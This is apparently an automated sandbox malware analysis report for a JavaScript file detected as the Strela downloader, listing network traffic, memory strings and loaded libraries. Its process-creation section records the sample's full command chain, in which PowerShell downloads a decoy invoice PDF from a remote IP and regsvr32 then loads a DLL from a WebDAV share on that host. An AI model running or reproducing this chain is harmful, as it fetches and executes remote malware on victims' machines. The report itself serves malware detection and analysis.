Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1844267754.000001FE6B4F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1899396595.000001E7F3D44000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1898993505.000001E7F3D08000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1898535333.000001E7F3D32000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1899396595.000001E7F3D32000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1898535333.000001E7F3D44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1899396595.000001E7F3D44000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1898535333.000001E7F3D44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/d
Source: net.exe, 00000006.00000003.1898635918.000001E7F3D64000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1899530280.000001E7F3D65000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1898490494.000001E7F3D5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/l/
Source: svchost.exe, 0000000A.00000002.3128722968.000002386D200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 0000000A.00000003.1923279744.000002386D1E8000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 0000000A.00000003.1923279744.000002386D1E8000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 0000000A.00000003.1923279744.000002386D1E8000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 0000000A.00000003.1923279744.000002386D21D000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.10.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 0000000A.00000003.1923279744.000002386D292000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 0000000A.00000003.1923279744.000002386D292000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 0000000A.00000003.1923279744.000002386D292000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.10.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6560, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15378279832653.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15378279832653.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 166452923276113028.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5936:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4lmqlosk.v01.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\166452923276113028.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15378279832653.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2176 --field-trial-handle=1548,i,2332872694583072542,17004711791923653570,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15378279832653.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2176 --field-trial-handle=1548,i,2332872694583072542,17004711791923653570,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
